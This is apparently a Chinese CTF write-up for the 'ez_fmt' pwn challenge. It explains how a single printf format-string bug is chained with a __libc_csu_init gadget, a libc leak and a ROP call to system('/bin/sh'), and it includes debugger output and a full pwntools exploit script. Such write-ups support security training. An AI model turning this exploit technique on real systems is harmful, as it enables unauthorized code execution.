题目详解
查看保护机制，地址随机化未开启
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
查看main函数，题目给出了一个栈地址，同时还有个很明显的字符串格式化漏洞，但是只能利用一次
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[88]; // [rsp+0h] [rbp-60h] BYREF
unsigned __int64 v5; // [rsp+58h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
printf("There is a gift for you %p\n", buf);
read(0, buf, 0x30uLL);
if ( w == 0xFFFF )
{
printf(buf);
w = 0;
}
return 0;
}
利用思路是
-
首先要能劫持控制流，那么修改栈上的返回地址是个不错的选择
-
其次要泄露libc基址，利用栈上残留的libc地址也是个不错的方法，这里锁定
__libc_start_main函数，经过gdb调试发现buf在栈上的偏移为%6$p，那么用stack查看栈数据就能找出__libc_start_main函数地址的偏移，很明显是偏移量是19pwndbg> stack 16 00:0000│ rdi rsi rsp 0x7fff2e1ed0f0 ◂— 0x3031256336303225 ('%206c%10') 01:0008│ 0x7fff2e1ed0f8 ◂— 0x243931256e686824 ('$hhn%19$') 02:0010│ 0x7fff2e1ed100 ◂— 0x6161616661616170 ('paaafaaa') 03:0018│ 0x7fff2e1ed108 —▸ 0x401205 (main+111) ◂— lea rax, [rbp - 0x60] 04:0020│ 0x7fff2e1ed110 —▸ 0x7fff2e1ed0e8 —▸ 0x401220 (main+138) ◂— mov eax, dword ptr [rip + 0x2dea] 05:0028│ 0x7fff2e1ed118 ◂— 0x6161616161616161 ('aaaaaaaa') 06:0030│ 0x7fff2e1ed120 —▸ 0x7f10a64392e8 (__exit_funcs_lock) ◂— 0x0 07:0038│ 0x7fff2e1ed128 —▸ 0x401270 (__libc_csu_init) ◂— endbr64 08:0040│ 0x7fff2e1ed130 ◂— 0x0 09:0048│ 0x7fff2e1ed138 —▸ 0x4010b0 (_start) ◂— endbr64 0a:0050│ 0x7fff2e1ed140 —▸ 0x7fff2e1ed240 ◂— 0x1 0b:0058│ 0x7fff2e1ed148 ◂— 0xc1facd3e33c58500 0c:0060│ rbp 0x7fff2e1ed150 ◂— 0x0 0d:0068│ 0x7fff2e1ed158 —▸ 0x7f10a626c083 (__libc_start_main+243) ◂— mov edi, eax 0e:0070│ 0x7fff2e1ed160 ◂— 0x50 /* 'P' */ 0f:0078│ 0x7fff2e1ed168 —▸ 0x7fff2e1ed248 —▸ 0x7fff2e1edd49 ◂— './ez_fmt'
那么攻击思路就是
-
1.格式化字符串修改
printf函数的返回地址为_libc_csu_init函数中的gadget，这样是为了控制rsp，避免ret的时候和前面构造的恶意格式化字符串产生冲突。gadget:
.text:00000000004012CE 41 5D pop r13 .text:00000000004012D0 41 5E pop r14 .text:00000000004012D2 41 5F pop r15 .text:00000000004012D4 C3 retn这里
printf函数的返回地址指的是下面代码中执行printf函数后在栈上产生的返回地址if ( w == 0xFFFF ) { printf(buf); w = 0; } -
2.泄露libc地址
-
3.劫持控制流执行system("/bin/sh") 代码
第一步和第二步可以在一次格式化漏洞中完成，printf(buf)的返回地址就是泄露的栈地址 - 8， 又因为执行printf(buf)的地址为0x40122D，和要跳转到的gadget地址0x4012CE仅有不到一个字节的偏移，所以只需要覆盖低字节。（因为给的buf仅有0x30的大小，所以要尽量缩减格式化字符串的长度）
程序在执行完printf函数后会返回到gadget的位置，然后经过三次出栈操作，rsp指向buf + 0x18，然后执行ret。
显然buf + 0x18的值是我们可控的，修改它到执行read函数的地址
这样程序流程就变成了 printf(buf) -> gadget -> read(0, buf,0x30)
因为read的返回地址存在buf里，也是可控的，所以ROP执行system函数即可
exp脚本
from pwn import *
context(arch = "amd64",os = "linux",log_level = "debug",terminal = ['tmux','splitw','-h'])
io = process("./ez_fmt")
libc = ELF("./libc.so.6")
rdi_ret = 0x04012d3
io.recvuntil(b"for you")
stack = int(io.recvline()[0:-1], 16)
success(hex(stack))
payload = flat(
{
0:"%{}c%10$hhn%19$p".format(0xce),
0x18: p64(0x401205) + p64(stack - 8)
}
)
payload = payload.ljust(0x30, b'a')
# gdb.attach(io, "b *0x401239\nb *0x401205")
io.send(payload)
# offset = 6
io.recvuntil(b"0x")
libc_base = int(io.recv(12), 16) - libc.symbols["__libc_start_main"] - 243
payload = flat(
{
0x18 : p64(rdi_ret) + p64(libc_base + libc.search(b"/bin/sh").__next__()),
0x28 : p64(libc_base + 0x051CD2)
}
)
io.send(payload)
io.interactive()
为什么exp里是p64(libc_base + 0x051CD2)而不是 p64(libc_base + libc.symbols["system"])?
-
后面那种方式因为堆栈对齐的问题，在跑到这行代码时会出错
0x7fbc67b59e3c <do_system+364> movaps xmmword ptr [rsp + 0x50], xmm0 -
因为给的buf空间太小了，无法再加上一个ret指令来平衡堆栈。所以我用IDA查看了libc-2.31.so的源码
__int64 __fastcall system(__int64 a1) { if ( a1 ) return sub_51CD0(a1); else return (unsigned int)sub_51CD0("exit 0") == 0; }.text:0000000000051CD0 41 55 push r13 .text:0000000000051CD2 B9 10 00 00 00 mov ecx, 10h .text:0000000000051CD7 41 54 push r12 .text:0000000000051CD9 55 push rbp .text:0000000000051CDA 53 push rbx .text:0000000000051CDB 48 89 FB mov rbx, rdi .text:0000000000051CDE 48 81 EC 78 03 00 00 sub rsp, 378h .text:0000000000051CE5 64 48 8B 04 25 28 00 00 00 mov rax, fs:28h如果直接调用sub_51CD0和system的效果一致。所以执行sub_51CD0 + 2来跳过开头的push r13指令，这样堆栈就平衡了